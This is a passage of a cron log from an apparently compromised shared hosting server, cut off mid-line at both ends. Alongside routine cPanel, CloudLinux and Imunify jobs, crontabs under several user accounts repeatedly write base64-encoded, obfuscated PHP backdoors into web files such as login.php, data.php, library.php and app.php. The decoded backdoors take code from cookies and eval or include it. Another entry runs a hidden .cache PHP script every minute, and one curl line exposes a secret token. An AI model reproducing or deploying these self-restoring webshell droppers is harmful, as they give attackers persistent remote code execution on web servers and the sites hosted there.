YignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:35:02 medusa CROND[32468]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:35:02 medusa CROND[32469]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 05:35:02 medusa CROND[32470]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 05:35:02 medusa CROND[32471]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 05:35:02 medusa CROND[32472]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 05:35:02 medusa CROND[32478]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 05:35:02 medusa CROND[32479]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 05:35:02 medusa CROND[32477]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 05:35:02 medusa CROND[32489]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:35:02 medusa CROND[32492]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:35:02 medusa CROND[32491]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 05:35:02 medusa CROND[32493]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:35:02 medusa CROND[32495]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 05:35:02 medusa CROND[32497]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 05:35:02 medusa CROND[32504]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cldiag.cronlock /usr/bin/cldiag --cron-check)
Mar  2 05:35:02 medusa CROND[32505]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:35:02 medusa CROND[32510]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  2 05:35:02 medusa CROND[32512]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 05:35:02 medusa CROND[32520]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 05:35:02 medusa CROND[32521]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:35:02 medusa CROND[32522]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:35:02 medusa CROND[32523]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:35:02 medusa CROND[32534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:35:02 medusa CROND[32531]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 05:36:01 medusa CROND[17995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:36:01 medusa CROND[18042]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:36:01 medusa CROND[18212]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:36:01 medusa CROND[18215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:36:01 medusa CROND[18216]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:36:01 medusa CROND[18217]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 05:36:01 medusa CROND[18218]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:36:02 medusa CROND[18233]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:36:02 medusa CROND[18234]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:36:02 medusa CROND[18235]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:36:02 medusa CROND[18238]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:36:02 medusa CROND[18236]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 05:36:02 medusa CROND[18232]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 05:36:02 medusa CROND[18248]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:37:01 medusa CROND[3069]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:37:01 medusa CROND[3282]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:37:01 medusa CROND[3312]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:37:01 medusa CROND[3313]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:37:01 medusa CROND[3314]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgI